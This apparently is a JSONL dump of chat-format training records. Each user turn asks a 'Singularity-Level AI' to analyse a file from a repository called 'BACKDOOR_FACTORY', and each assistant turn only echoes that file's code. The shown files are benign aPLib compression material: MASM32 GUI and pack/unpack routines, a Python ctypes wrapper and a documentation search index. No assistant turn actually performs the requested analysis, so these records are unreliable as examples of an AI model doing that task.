########################################################################\n\nPackFile proc Param:DWORD\n\n LOCAL hFile :DWORD\n LOCAL ln :DWORD\n LOCAL br :DWORD\n LOCAL source$ :DWORD\n LOCAL dest$ :DWORD\n LOCAL working$:DWORD\n LOCAL clenth :DWORD\n LOCAL szNameFile[128]:BYTE\n\n push esi\n push edi\n\n invoke GetWindowText,hEdit1,ADDR szNameFile,128\n\n cmp szNameFile[0], 0\n jne @F\n invoke MessageBox,hWnd,ADDR plSelect,\n ADDR szDisplayName,MB_OK\n mov eax, 0\n pop edi\n pop esi\n ret\n @@:\n\n invoke CreateFile,ADDR szNameFile,\n GENERIC_READ,\n FILE_SHARE_READ,\n NULL,OPEN_EXISTING,\n FILE_ATTRIBUTE_NORMAL,\n NULL\n mov hFile, eax\n\n invoke GetFileSize,hFile,NULL\n mov ln, eax\n\n stralloc ln\n mov source$, eax\n\n invoke ReadFile,hFile,source$,ln,ADDR br,NULL\n\n invoke CloseHandle,hFile\n\n mov esi, source$\n lodsd\n cmp eax, \"23PA\" ; test for \"AP32\" signature\n jne @F\n .data\n beendone db \"This file has already been compressed by aPPack\",0\n .code\n invoke MessageBox,hWnd,ADDR beendone,\n ADDR szDisplayName,MB_OK\n strfree source$\n pop edi\n pop esi\n ret\n @@:\n\n invoke aP_max_packed_size,ln\n\n stralloc eax\n mov dest$, eax\n\n invoke aP_workmem_size,ln\n\n stralloc eax\n mov working$, eax\n\n ; ---------------------------------------\n ; compress source$ and write it to dest$\n ; ---------------------------------------\n\n mov Packing, 1\n mov ContPack, 1\n\n invoke aPsafe_pack,source$,dest$,ln,working$,ADDR cbProc,NULL\n mov clenth, eax\n\n .if eax == 0\n .data\n aborted db \"Packing aborted\",0\n .code\n invoke SendMessage,hStat1,WM_SETTEXT,0,ADDR aborted\n jmp Abort\n .endif\n\n .data\n Patn1 db \"*.*\",0,0\n SaveFile1 db \"Save File As\",0\n .code\n\n mov szFileName[0], 0\n invoke SaveFileName,hWnd,ADDR SaveFile1,ADDR Patn1\n\n .if szFileName[0] != 0\n ; -----------------------------------------\n ; truncate file to zero length if it exists\n ; -----------------------------------------\n invoke CreateFile,ADDR szFileName, ; pointer to name of the file\n GENERIC_WRITE, ; access (read-write) mode\n NULL, ; share mode\n NULL, ; pointer to security attributes\n CREATE_ALWAYS, ; how to create\n FILE_ATTRIBUTE_NORMAL, ; file attributes\n NULL\n mov hFile, eax\n\n invoke WriteFile,hFile,dest$,clenth,ADDR br,NULL\n invoke CloseHandle,hFile\n\n .endif\n\n Abort:\n\n strfree source$\n strfree dest$\n strfree working$\n\n mov Packing, 0\n\n pop edi\n pop esi\n\n ret\n\nPackFile endp\n\n; ########################################################################\n\nUnpackFile proc\n\n LOCAL hFile :DWORD\n LOCAL ln :DWORD\n LOCAL br :DWORD\n LOCAL dsize :DWORD\n LOCAL source$ :DWORD\n LOCAL dest$ :DWORD\n LOCAL szNameFile[128]:BYTE\n\n push esi\n\n invoke GetWindowText,hEdit1,ADDR szNameFile,128\n\n cmp szNameFile[0], 0\n jne @F\n invoke MessageBox,hWnd,ADDR plSelect,\n ADDR szDisplayName,MB_OK\n mov eax, 0\n pop esi\n ret\n @@:\n\n invoke CreateFile,ADDR szNameFile,\n GENERIC_READ,\n FILE_SHARE_READ,\n NULL,OPEN_EXISTING,\n FILE_ATTRIBUTE_NORMAL,\n NULL\n mov hFile, eax\n\n invoke GetFileSize,hFile,NULL\n mov ln, eax\n\n stralloc ln\n mov source$, eax\n\n invoke ReadFile,hFile,source$,ln,ADDR br,NULL\n\n invoke CloseHandle,hFile\n\n invoke aPsafe_get_orig_size,source$\n mov dsize, eax\n\n test eax,eax\n jnz @F\n .data\n noap db \"This file has not been compressed by aPPack\",0\n .code\n invoke MessageBox,hWnd,ADDR noap,\n ADDR szDisplayName,MB_OK\n strfree source$\n pop esi\n ret\n @@:\n stralloc dsize\n mov dest$, eax\n\n invoke aPsafe_depack,source$,ln,dest$,dsize\n\n .data\n Patn2 db \"*.*\",0,0\n SaveFile2 db \"Save File As\",0\n .code\n\n mov szFileName[0], 0\n invoke SaveFileName,hWnd,ADDR SaveFile2,ADDR Patn2\n\n .if szFileName[0] != 0\n ; -----------------------------------------\n ; truncate file to zero length if it exists\n ; -----------------------------------------\n invoke CreateFile,ADDR szFileName, ; pointer to name of the file\n GENERIC_WRITE, ; access (read-write) mode\n NULL, ; share mode\n NULL, ; pointer to security attributes\n CREATE_ALWAYS, ; how to create\n FILE_ATTRIBUTE_NORMAL, ; file attributes\n NULL\n\n mov hFile, eax\n invoke WriteFile,hFile,dest$,dsize,ADDR br,NULL\n invoke CloseHandle,hFile\n .endif\n\n strfree source$\n strfree dest$\n\n pop esi\n\n ret\n\nUnpackFile endp\n\n; ########################################################################\n\ncbProc proc C orglen:DWORD,len1:DWORD,len2:DWORD,cbparam:DWORD\n\n ; ------------------------------------------------------\n ; This is an application defined callback that receives\n ; 2 parameters from the \"aP_pack\" procedure during the\n ; compression process. Note the \"C\" calling convention.\n ; ------------------------------------------------------\n\n LOCAL buff[32]:BYTE\n LOCAL buf2[16]:BYTE\n\n invoke dwtoa,len1,ADDR buff\n invoke dwtoa,len2,ADDR buf2\n\n .data\n arrow db \" => \",0\n .code\n\n invoke lstrcat,ADDR buff,ADDR arrow\n invoke lstrcat,ADDR buff,ADDR buf2\n\n invoke SendMessage,hStat1,WM_SETTEXT,0,ADDR buff\n\n mov eax, ContPack\n ret\n\ncbProc endp\n\n; ########################################################################\n\nend start\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/masm32/ctrls.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n; ########################################################################\n\n PushButton PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD\n EditSl PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD\n Static PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD\n\n .data\n btnClass db \"BUTTON\",0\n EditClass db \"EDIT\",0\n statClass db \"STATIC\",0\n\n .code\n\n; ########################################################################\n\nPushButton proc lpText:DWORD,hParent:DWORD,\n a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD\n\n; invoke PushButton,ADDR szText,hWnd,20,20,100,25,500\n\n invoke CreateWindowEx,0,\n ADDR btnClass,lpText,\n WS_CHILD or WS_VISIBLE,\n a,b,wd,ht,hParent,ID,\n hInstance,NULL\n\n ret\n\nPushButton endp\n\n; #########################################################################\n\nEditSl proc szMsg:DWORD,a:DWORD,b:DWORD,\n wd:DWORD,ht:DWORD,hParent:DWORD,ID:DWORD\n\n; invoke EditSl,ADDR adrTxt,200,10,150,25,hWnd,700\n\n\n invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClass,szMsg,\n WS_VISIBLE or WS_CHILDWINDOW or \\\n ES_AUTOHSCROLL or ES_NOHIDESEL,\n a,b,wd,ht,hParent,ID,hInstance,NULL\n\n ret\n\nEditSl endp\n\n; ########################################################################\n\nStatic proc lpText:DWORD,hParent:DWORD,\n a:DWORD,b:DWORD,wd:DWORD,ht:DWORD,ID:DWORD\n\n; invoke Static,ADDR szText,hWnd,20,20,100,25,500\n\n invoke CreateWindowEx,WS_EX_STATICEDGE,\n ADDR statClass,lpText,\n WS_CHILD or WS_VISIBLE or SS_CENTER,\n a,b,wd,ht,hParent,ID,\n hInstance,NULL\n\n ret\n\nStatic endp\n\n; ########################################################################\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/masm32/filedlgs.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n; ########################################################################\n\n GetFileName PROTO :DWORD, :DWORD, :DWORD\n SaveFileName PROTO :DWORD, :DWORD, :DWORD\n FillBuffer PROTO :DWORD, :DWORD, :BYTE\n\n .data\n szFileName db 260 dup(0)\n ofn OPENFILENAME <> ; structure\n\n .code\n\n; ########################################################################\n\nGetFileName proc hParent:DWORD,lpTitle:DWORD,lpFilter:DWORD\n\n mov ofn.lStructSize, sizeof OPENFILENAME\n m2m ofn.hWndOwner, hParent\n m2m ofn.hInstance, hInstance\n m2m ofn.lpstrFilter, lpFilter\n m2m ofn.lpstrFile, offset szFileName\n mov ofn.nMaxFile, sizeof szFileName\n m2m ofn.lpstrTitle, lpTitle\n mov ofn.Flags, OFN_EXPLORER or OFN_FILEMUSTEXIST or \\\n OFN_LONGNAMES\n\n invoke GetOpenFileName,ADDR ofn\n\n ret\n\nGetFileName endp\n\n; #########################################################################\n\nSaveFileName proc hParent:DWORD,lpTitle:DWORD,lpFilter:DWORD\n\n mov ofn.lStructSize, sizeof OPENFILENAME\n m2m ofn.hWndOwner, hParent\n m2m ofn.hInstance, hInstance\n m2m ofn.lpstrFilter, lpFilter\n m2m ofn.lpstrFile, offset szFileName\n mov ofn.nMaxFile, sizeof szFileName\n m2m ofn.lpstrTitle, lpTitle\n mov ofn.Flags, OFN_EXPLORER or OFN_LONGNAMES or OFN_OVERWRITEPROMPT\n \n invoke GetSaveFileName,ADDR ofn\n\n ret\n\nSaveFileName endp\n\n; ########################################################################\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/masm32/tbmacros.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n ; ---------------------------\n ; macros for creating toolbar\n ; ---------------------------\n\n TBextraData MACRO\n mov tbb.fsState, TBSTATE_ENABLED\n mov tbb.dwData, 0\n mov tbb.iString, 0\n ENDM\n\n ; ------------------------------\n\n TBbutton MACRO bID, cID\n mov tbb.iBitmap, bID ;; button ID number\n mov tbb.idCommand, cID ;; command ID number\n mov tbb.fsStyle, TBSTYLE_BUTTON\n invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb\n ENDM\n\n ; ------------------------------\n\n TBblank MACRO\n mov tbb.iBitmap, 0\n mov tbb.idCommand, 0\n mov tbb.fsStyle, TBSTYLE_SEP\n invoke SendMessage,hToolBar,TB_ADDBUTTONS,1,ADDR tbb\n ENDM\n\n ; ------------------------------\n\n Create_Tool_Bar MACRO Wd, Ht\n\n szText tbClass,\"ToolbarWindow32\"\n\n invoke CreateWindowEx,0,\n ADDR tbClass,\n ADDR szDisplayName,\n WS_CHILD or WS_VISIBLE or CCS_NODIVIDER or TBSTYLE_FLAT,\n 0,0,500,40,\n hWin,NULL,\n hInstance,NULL\n\n ;; or TBSTYLE_FLAT\n\n mov hToolBar, eax\n \n invoke SendMessage,hToolBar,TB_BUTTONSTRUCTSIZE,sizeof TBBUTTON,0\n \n ;; ---------------------------------------\n ;; Put width & height of bitmap into DWORD\n ;; ---------------------------------------\n mov ecx,Wd ;; loword = bitmap Width\n mov eax,Ht ;; hiword = bitmap Height\n shl eax,16\n mov ax, cx\n\n mov bSize, eax\n \n invoke SendMessage,hToolBar,TB_SETBITMAPSIZE,0,bSize\n \n invoke SetBmpColor,hTbBmp\n mov hTbBmp,eax\n \n mov tbab.hInst, 0\n m2m tbab.nID, hTbBmp\n invoke SendMessage,hToolBar,TB_ADDBITMAP,12,ADDR tbab\n \n invoke SendMessage,hToolBar,TB_SETBUTTONSIZE,0,bSize\n ENDM\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/masm32/toolbar.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n; ########################################################################\n\n Do_ToolBar PROTO :DWORD\n SetBmpColor PROTO :DWORD\n\n include tbmacros.asm\n\n .data\n hTbBmp dd 0\n hToolBar dd 0\n\n .code\n\n; ########################################################################\n\nDo_ToolBar proc hWin :DWORD\n\n ; ---------------------------------------\n ; This proc works by using macros so that \n ; the code is easier to read and modify\n ; ---------------------------------------\n\n LOCAL bSize :DWORD\n LOCAL tbab :TBADDBITMAP\n LOCAL tbb :TBBUTTON\n\n ; ------------------\n ; The toolbar bitmap\n ; ~~~~~~~~~~~~~~~~~~\n ; You must supply a bitmap for the toolbar that has the \n ; correct number of the required images, each of the same\n ; size and in the following strip bitmap form.\n \n ; -------------------------------------\n ; | 1 | 2 | 3 | 4 | 5 | 6 |\n ; -------------------------------------\n\n ; ------------------------\n ; Uncomment following when\n ; bitmap has been created\n ; ------------------------\n invoke LoadBitmap,hInstance,750\n mov hTbBmp,eax\n\n ; --------------------------------------------------\n ; Set toolbar button dimensions here, width & height\n ; --------------------------------------------------\n Create_Tool_Bar 75, 75\n\n TBextraData ; additional data for TBBUTTON structure\n\n ; -----------------------------------\n ; Add toolbar buttons and spaces here\n ; Syntax for the macro TBbutton is\n ; TBbutton bmpID number, WM_COMMAND ID number\n ; WM_COMMAND ID numbers start at 50\n ; -----------------------------------\n TBbutton 0, 50\n TBbutton 1, 51\n TBbutton 2, 52\n TBbutton 3, 53\n\n ret\n\nDo_ToolBar endp\n\n; ########################################################################\n\nSetBmpColor proc hBitmap:DWORD\n\n LOCAL mDC :DWORD\n LOCAL hBrush :DWORD\n LOCAL hOldBmp :DWORD\n LOCAL hReturn :DWORD\n LOCAL hOldBrush :DWORD\n\n invoke CreateCompatibleDC,NULL\n mov mDC,eax\n\n invoke SelectObject,mDC,hBitmap\n mov hOldBmp,eax\n\n invoke GetSysColor,COLOR_BTNFACE\n invoke CreateSolidBrush,eax\n mov hBrush,eax\n\n invoke SelectObject,mDC,hBrush\n mov hOldBrush,eax\n\n invoke GetPixel,mDC,1,1\n invoke ExtFloodFill,mDC,1,1,eax,FLOODFILLSURFACE\n\n invoke SelectObject,mDC,hOldBrush\n invoke DeleteObject,hBrush\n\n invoke SelectObject,mDC,hBitmap\n mov hReturn,eax\n invoke DeleteDC,mDC\n\n mov eax,hReturn\n\n ret\n\nSetBmpColor endp\n\n; #########################################################################\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/python/aplib.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n################################################################################\n# quick hack for using aplib (http://www.ibsensoftware.com/products_aPLib.html)\n# put aplib.dll in %PATH% or same dir as this script\n# on *nix it might require LD_LIBRARY_PATH set depending on where libaplib.so is\n\nimport os\nfrom ctypes import *\n\n################################################################################\n\n__all__ = [ 'pack', 'pack_safe', 'depack', 'depack_safe', 'CB_COMPRESS']\n\n################################################################################\n\nif os.name == 'nt':\n CB_COMPRESS = WINFUNCTYPE(c_uint, c_uint, c_uint, c_uint, c_void_p)\n _aplib = windll.aplib\nelse:\n CB_COMPRESS = CFUNCTYPE(c_uint, c_uint, c_uint, c_uint, c_void_p)\n # might require LD_LIBRARY_PATH set\n _aplib = CDLL(\"libaplib.so\") \n\ndef _ratio(inpos, insize):\n return (inpos * 100) / insize\n\ndef _cbCompress(insize, inpos, outpos, cbparam):\n print \"compressed %u -> %u bytes (%u%% done)\" % \\\n ( inpos, outpos, _ratio(inpos, insize))\n return 1\n\n_cbCompressFunc = CB_COMPRESS(_cbCompress)\n\n################################################################################\n\ndef pack(src, cb=None):\n\n srclen = len(src)\n if srclen <= 0:\n raise ValueError('Invalid input.')\n\n dstlen = _aplib.aP_max_packed_size(srclen)\n dst = create_string_buffer(dstlen)\n wrkmem = create_string_buffer(_aplib.aP_workmem_size(srclen))\n\n dstlen = _aplib.aP_pack(src, dst, srclen, wrkmem, cb, 0)\n\n if dstlen == -1:\n raise ValueError('Compression error.')\n \n return buffer(dst, 0, dstlen)\n\ndef pack_safe(src, cb=None):\n\n srclen = len(src)\n if srclen <= 0:\n raise ValueError('Invalid input.')\n\n dstlen = _aplib.aP_max_packed_size(srclen)\n dst = create_string_buffer(dstlen)\n wrkmem = create_string_buffer(_aplib.aP_workmem_size(srclen))\n\n dstlen = _aplib.aPsafe_pack(src, dst, srclen, wrkmem, cb, 0)\n\n if dstlen == -1:\n raise ValueError('Compression error.')\n \n return buffer(dst, 0, dstlen)\n\n################################################################################\n\ndef depack(src, dstlen):\n\n srclen = len(src)\n if srclen <= 0 or dstlen <= 0:\n raise ValueError('Invalid input.')\n \n dst = create_string_buffer(dstlen)\n\n dstlen = _aplib.aP_depack_asm_safe(src, srclen, dst, dstlen)\n \n if dstlen == -1:\n raise ValueError('Decompression error.')\n \n return buffer(dst, 0, dstlen)\n\ndef depack_safe(src):\n\n srclen = len(src)\n if srclen <= 0:\n raise ValueError('Invalid input.')\n \n dstlen = _aplib.aPsafe_get_orig_size(src)\n dst = create_string_buffer(dstlen)\n\n dstlen = _aplib.aPsafe_depack(src, srclen, dst, dstlen)\n \n if dstlen == -1:\n raise ValueError('Decompression error.')\n \n return buffer(dst, 0, dstlen)\n\n################################################################################\n\nif __name__ == \"__main__\":\n import optparse\n\n parser = optparse.OptionParser(\n usage='%prog [-h] [-v] -m c|d infile outfile'\n )\n parser.add_option(\n '-m', '--mode',\n action=\"store\",\n type=\"string\", \n dest='mode',\n help='c for compress, d for decompress')\n parser.add_option(\n '-v', '--verbose',\n action=\"store_true\",\n dest='verbose')\n\n options, args = parser.parse_args()\n if not options.mode in ['c', 'd']:\n parser.error('You must give a valid --mode')\n if not len(args) == 2:\n parser.error('You must give in- and outfile')\n\n infile = args[0]\n outfile = args[1]\n\n src = open(infile, 'rb').read()\n\n if options.mode == 'c':\n print \"Compressing '%s' to '%s'\" % (infile, outfile)\n if options.verbose:\n dst = pack_safe(src, _cbCompressFunc)\n else:\n dst = pack_safe(src)\n open(outfile, 'wb').write(dst)\n print \"Compressed '%s' from %u to %u bytes (%u%%)\" \\\n % (infile, len(src), len(dst), _ratio(len(dst), len(src)))\n elif options.mode == 'd':\n print \"Decompressing '%s' to '%s'\" % (infile, outfile)\n dst = depack_safe(src)\n open(outfile, 'wb').write(dst)\n print \"Decompressed '%s' from %u to %u bytes (%u%%)\" \\\n % (infile, len(src), len(dst), _ratio(len(dst), len(src)))\n \n\n################################################################################\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/doc/html/searchindex.js\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\nSearch.setIndex({terms:{fuller:5,updat:5,develop:5,decompress:5,\"new\":5,down:5,mscoff:5,malloc:[1,2,5],pell:5,implement:[3,5],compressed_s:2,problem:5,exampl:5,ensur:3,commerci:[0,5],specif:5,html:5,report:[3,0],techniqu:0,semver:5,mai:[4,5],cyberbob:5,rewrit:5,thank:[0,5],other:[3,0,5],hope:5,omf:[3,5],rare:5,special:0,f0dder:5,kannegies:[0,5],progress:3,low:[3,6],\"\\u215b\":4,note:5,richard:5,kind:4,albert:0,test:5,callback:[3,1,5],get:[3,2,5],either:[3,4],\"06b\":5,call:[3,0,5],fasm:5,ibsen:4,versioninfo:5,right:4,pack:5,linker:[3,5],against:2,incompress:[3,1,5],packer:[3,5,6],time:5,extern:3,lab:0,\"5th\":5,through:3,read:[2,5],ap_pack:[3,1,5],liabil:4,made:[0,5],possibl:[3,1,5],silent:5,size:[3,1,2,5],copyright:4,non:[0,1],\"14b\":5,dealloc:5,sen:0,python:5,compress:[0,5],zero:1,anybodi:5,signifi:5,nasm:5,execut:[3,5,6],discov:5,sourc:[1,2,5],descript:[1,2],also:[3,5],aplib:[1,2,5],languag:3,tad:[0,5],\"return\":[3,1,2,5],pic:3,suslikov:0,game:3,homepag:5,singl:5,pascal:[0,5],src:[3,2,5],x86:3,protect:3,linux:[3,5],ada:[0,5],compil:[3,5],mensah:5,lot:5,peopl:[0,5],solodovnikov:[0,5],delphi:[0,5],\"_yourself_\":4,ratio:[3,5,6],abort:5,optimis:[0,2,5],simpl:3,loss:4,input_s:1,diamond:5,work:[3,0,1,5],\"22b\":5,folder:[3,5],\"long\":[3,4],minor:5,\"1mb\":5,come:4,expans:3,discuss:0,especi:5,asm:5,wide:3,allow:[3,4],unpack:5,charg:[4,5],steve:[0,5],cbparam:1,extens:5,peter:5,perform:3,author:4,debugg:0,name:[3,5],yet:5,separ:5,ap_depack_asm:[3,2,5],virtual:5,thi:[3,4,2,5],exclus:4,ap_:3,best:0,notic:4,elf32:5,pass:3,check:[3,2,5],epsilon:0,someth:4,win32:5,edit:4,easier:5,apsafe_get_orig_s:2,itself:5,did:5,store:[1,2],appl:5,line:3,\"13b\":5,anyth:4,includ:[3,4,2,5],liutaotao:0,freewar:4,current:[3,1],sell:4,depack:[0,2,5],valu:[3,1,2,5],apdepack:5,caus:5,joergen:4,expect:5,dir:5,should:[1,2,5],\"25b\":5,number:[3,1,5],well:5,mouser:5,\"26b\":5,around:[0,5],fabbricator:5,dure:1,comput:[1,2],extra:3,outlength:[1,2],all:[3,0,4,5],question:3,again:5,pucrunch:0,share:[3,5],everi:5,unsign:2,monei:4,simpli:[3,5],own:4,dos32:5,great:[0,5],\"12b\":5,convert:5,net:5,remov:[4,5],\"24b\":5,reduc:5,ideal:[3,6],sinc:[3,5],visual:5,set:5,wrong:4,wayn:5,some:5,srclen:2,user:5,fine:5,\"02b\":5,rang:3,proel:5,instal:5,borland:5,\"const\":[1,2],between:5,file:[4,5],\"public\":3,got:5,start:[3,5],previou:5,apsafe_:[3,5],without:[4,5],\"27b\":5,apsafe_depack:[3,2],myself:5,like:[3,4],wdosx:5,wrapper:5,would:[4,5],http:[3,4],\"switch\":5,org:5,too:5,when:[3,1,5],otic:[0,5],beta:0,ap_depack_saf:[3,2,5],mate:0,info:0,area:5,instead:[3,1,2,5],tester:0,elf:[3,5],algorithm:[3,6],tini:[3,5,6],masm32:[0,5],who:0,program:[3,5],follow:[4,1,2],choic:[3,6],softwar:[3,0,4],past:5,\"case\":5,sphinx:5,process:[2,5],\"function\":5,engin:4,blame:4,input:[3,1,5],archiv:3,feedback:5,oper:5,keep:3,els:[4,1,2],cpp:5,usual:[3,4],assembl:5,were:5,stdcall:5,simplifi:5,least:5,hopefulli:5,small:[3,5],\"\\u215e\":4,hold:[1,2],our:0,rit:0,match:[3,5],russel:5,old:5,ifndef:4,project:5,vov:5,make_dl:5,make:[3,0,5,6],need:[3,5],eugen:0,you:[3,4,1,5],meg:5,hutchesson:[0,5],vpascal:[0,5],build:5,safeti:5,except:4,\"\\u215d\":4,gave:5,format:[3,5],pov:5,reflect:5,later:5,\"char\":[1,2],freebsd:5,contact:5,pusher:0,\"import\":5,output:[3,1,5],certain:5,creat:5,\"18b\":5,rewritten:5,header:[3,4,1,2,5],boothbi:0,tag:3,reiner:5,handheld:3,tool:5,apsafe_pack:[3,1],occur:[3,1,2],suppli:[3,5],differ:5,macro:5,pure:3,remot:4,djgpp:5,temporari:1,marco:5,pleas:[3,4,5],interfac:[3,5],free:[3,5],lib:5,can:[3,2,5],longer:5,releas:[3,5],still:5,syntax:5,subsystem:5,moment:5,\"640k\":[3,1,5],wai:[3,5],few:5,jon:5,\"10b\":5,powerbas:5,run:5,easi:[3,6],just:5,contract:5,thei:[3,1,5],onli:[3,5],ap_max_packed_s:[3,1,5],inputs:5,point:5,alexei:[0,5],mem:5,\"20b\":5,link:3,clean:5,write:2,which:[3,4,1,2,5],licens:[5,6],most:[3,2,5],chang:5,understand:3,qnx:5,here:5,add:[3,1,5],navig:0,\"11b\":5,beo:5,base:[3,6],total:5,\"catch\":3,confus:5,much:5,embed:3,first:[3,1,5],top:3,smaller:5,objconv:[0,5],x64:3,avail:[3,0,2,5,6],product:[3,4,6],revers:4,basic:[3,5],yourself:5,anoth:5,idea:0,fast:[3,5],jame:5,apsafe_check:[2,5],printf:[1,2],damag:4,pointer:[1,2,5],length:[1,2],worst:5,dstlen:2,doe:4,under:5,rearrang:5,continu:[0,1,5],know:4,command:3,binari:5,redistribut:4,have:[3,1,5],document:5,move:5,miracl:0,event:4,paramet:[1,2,5],\"16bit\":[0,5],research:0,good:0,gautier:[0,5],them:5,gotten:5,system:[3,5],stop:[3,1,5],part:4,shall:4,pre:3,renam:5,argument:1,rewrot:5,goe:4,powerbuild:5,enhanc:5,ap_crc32:2,contain:[3,1,5],merchant:4,provid:[3,4],abus:4,alloc:[3,1,2,5],fulli:5,alwai:[3,1],oleg:[0,5],cleverest:5,hiew:0,better:[3,5],quit:5,risk:4,decompressor:[3,6],space:2,metalbrain:[0,5],those:5,packag:3,jump:5,impli:4,aris:4,\"09b\":5,requir:[3,1,5],fit:4,ojala:0,common_sens:4,\"int\":[1,2],latest:[3,5],freeli:0,find:5,been:[3,1,5],modifi:[3,5],librari:[3,4,2,5,6],rock:0,tmt:[0,5],dll:[3,5],doc:5,term:4,pasi:0,suggest:3,upgrad:5,real:5,\"08b\":5,purpos:4,inform:5,second:[1,5],\"07b\":5,must:[1,2],given:[3,5],\"15b\":5,checksum:1,feel:3,friend:0,becaus:[3,5],combin:[3,6],issu:5,enough:[1,2,5],\"04b\":5,undecor:5,fourth:1,rafael:5,ani:[3,4,5],believ:0,amount:5,\"03b\":5,win95:5,could:5,littl:5,next:5,handl:3,your:[3,4],about:[3,5],befor:5,orig_s:2,\"17b\":5,anywai:4,endif:4,condit:5,useabl:3,trevor:5,now:5,fog:[0,5],gener:5,lead:3,home:5,decod:2,wasm:5,larg:[1,2,5],mani:[3,1,6],coff:3,footprint:[3,6],respons:3,four:1,how:[3,1,5],inlin:5,buffer:[3,1,2,5],thx:[0,5],compat:5,\"19b\":5,mail:3,exit:5,decor:3,nice:3,somewhat:5,apack:[3,5,6],stabl:5,interest:5,\"23b\":5,veit:[0,5],arche:5,builder:5,period:5,watcom:5,uncompress:1,assum:3,counterpart:3,jurisdict:4,otherwis:5,crash:[3,5],agre:4,\"void\":[1,2],url:5,page:0,prokhorov:[0,5],reserv:4,found:5,entir:4,attempt:3,regular:3,maximum:[3,1,5],size_t:[1,2],out:[4,5],state:4,prevent:3,weight:[3,6],from:[1,2,5],tasm32:5,johnson:5,even:4,achiev:[3,6],error:[3,1,2,5],heavi:[3,6],potenti:3,storag:1,march:5,ibsensoftwar:[3,4],ap_workmem_s:[3,1,5],dll_asm:5,particular:4,ap_depack_asm_saf:[3,2,5],contrib:5,appropri:3,thread:5,veri:5,track:3,where:[1,2,5],hint:5,more:[4,5],ferri:5,origin:[3,1,2],sheekei:5,bcc32:5,\"final\":5,bat:5,com:[3,4],greet:0,media:4,\"21b\":5,stuff:[4,5],wdl:5,valid:3,elli:0,\"\\u03c9\":4,appreci:4,devic:3,hegel:5,altern:[3,6],www:[3,4],destin:[1,2],safe:5,bla:4,produc:5,faster:5,might:5,ap_depack_asm_fast:[3,2,5],\"01b\":5,appack:5,take:1,liabl:4,multipl:5,inabl:4,crc32:[3,1,2],serv:3,fix:5,\"05b\":5,code:[3,0,4,1,5],standard:3,resourc:5,content:6,support:5,bug:[3,0,5],revis:5,express:4,abov:4,ahucha:5,recompil:5,mixup:5,retriev:3,memori:[3,1,2,5],\"byte\":[3,1,2,5,6],\"try\":5,limit:[4,5],convent:[3,0,5],warranti:4,anakin:5,\"\\u215c\":4,tlink32:5,addit:3,speed:[3,2,5,6],lawrenc:0,bit:[3,5,6],\"16b\":5,tasm:5,agner:[0,5],workmem:1,data:[3,1,2,5],object:5,aplib_error:[3,1,2,5],\"28b\":5,improv:5,visit:4,third:1,unneed:5,ap_depack:[3,2],\"null\":[3,1],help:3},objtypes:{\"0\":\"c:function\"},envversion:43,objects:{\"\":{aP_workmem_size:[1,0,1,\"c.aP_workmem_size\"],aP_depack_safe:[2,0,1,\"c.aP_depack_safe\"],aP_crc32:[2,0,1,\"c.aP_crc32\"],aP_depack:[2,0,1,\"c.aP_depack\"],aP_depack_asm_safe:[2,0,1,\"c.aP_depack_asm_safe\"],aPsafe_check:[2,0,1,\"c.aPsafe_check\"],aP_max_packed_size:[1,0,1,\"c.aP_max_packed_size\"],aP_depack_asm:[2,0,1,\"c.aP_depack_asm\"],aPsafe_depack:[2,0,1,\"c.aPsafe_depack\"],aPsafe_get_orig_size:[2,0,1,\"c.aPsafe_get_orig_size\"],aPsafe_pack:[1,0,1,\"c.aPsafe_pack\"],aP_pack:[1,0,1,\"c.aP_pack\"],aP_depack_asm_fast:[2,0,1,\"c.aP_depack_asm_fast\"]}},filenames:[\"acknowledgements\",\"compression\",\"decompression\",\"general\",\"license\",\"changes\",\"index\"],titles:[\"Acknowledgements\",\"Compression\",\"Decompression\",\"General Information\",\"License\",\"Version History\",\"Welcome to the aPLib documentation!\"],objnames:{\"0\":[\"c\",\"function\",\"C function\"]},titleterms:{version:5,welcom:6,thread:3,wrapper:[3,1,2],introduct:3,compat:3,decompress:2,compress:1,acknowledg:0,\"function\":[3,1,2],safe:[3,1,2],gener:3,exampl:[1,2],contact:3,licens:4,document:6,histori:5,inform:3,aplib:[3,6],safeti:3}})\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: 